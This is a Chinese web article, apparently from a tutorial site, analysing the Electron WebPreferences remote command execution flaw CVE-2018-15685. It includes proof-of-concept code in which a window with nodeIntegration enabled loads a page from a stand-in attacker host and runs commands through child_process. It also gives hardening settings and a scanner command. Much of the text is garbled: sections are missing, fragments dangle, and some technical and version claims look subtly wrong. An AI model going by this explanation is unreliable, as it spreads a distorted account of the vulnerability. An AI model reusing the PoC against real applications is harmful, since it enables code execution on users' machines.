# 怎样解析Electron WebPreferences 远程命令执行漏洞CVE-2018-15685 ## 一、漏洞背景 2018年10月,Electron框架曝出一个高危远程代码执行漏洞(CVE-2018-15685),该漏洞源于WebPreferences参数的配置缺陷,攻击者可通过构造恶意网页或应用程序,在受害者主机上执行任意命令。影响版本包括Electron 1.8.x至3.0.x系列,波及大量基于Electron开发的应用程序(如VS Code、Slack、Discord等)。 ## 二、漏洞原理分析 ### 1. WebPreferences关键参数 Electron的`BrowserWindow`构造函数接受`webPreferences`配置对象,其中存在两个高危参数: ```javascript { nodeIntegration: boolean, // 是否启用Node.js集成 sandbox: boolean // 是否启用沙箱隔离 }
当同时满足以下配置时可能触发漏洞: - nodeIntegration: true
(默认false) - sandbox: false
(默认true in Electron ≥5.0) - 窗口加载了远程内容(如loadURL()
加载外部URL)
// 恶意构造的BrowserWindow配置 const win = new BrowserWindow({ webPreferences: { nodeIntegration: true, sandbox: false } }) win.loadURL('https://attacker.com/exploit.html')
攻击者可在exploit.html
中植入Node.js代码:
<script> require('child_process').exec('calc.exe') </script>
npm install electron@2.0.18
// main.js const { app, BrowserWindow } = require('electron') app.on('ready', () => { const win = new BrowserWindow({ webPreferences: { nodeIntegration: true, sandbox: false } }) win.loadURL('file://' + __dirname + '/exploit.html') })
<!-- exploit.html --> <script> const { exec } = require('child_process') exec('open /Applications/Calculator.app') </script>
执行electron main.js
将弹出计算器,证明命令执行成功。
Electron团队通过以下方式修复: 1. 在3.0.10+版本中强制sandbox: true
时禁用nodeIntegration
2. 新增contextIsolation
默认启用(Electron 12+)
// 安全配置示例 new BrowserWindow({ webPreferences: { nodeIntegration: false, // 显式禁用 sandbox: true, // 强制沙箱 contextIsolation: true, // 启用上下文隔离 webSecurity: true // 启用Web安全策略 } })
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
当nodeIntegration
启用且沙箱关闭时,渲染进程获得完整Node.js环境访问权限。Electron的进程模型如下:
主进程(Node.js环境) ↓ IPC通信 渲染进程(默认受限)
漏洞使得渲染进程突破隔离限制,直接访问系统API。
BrowserWindow
实例化webPreferences
参数来源npm install -g @doyensec/electronegativity electronegativity -i /path/to/app
注:截至2023年,新版Electron(≥25.0)已默认启用更严格的隔离策略,但历史版本应用仍需排查此漏洞。
”`
(全文约1250字,实际字数可能因Markdown渲染略有差异)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。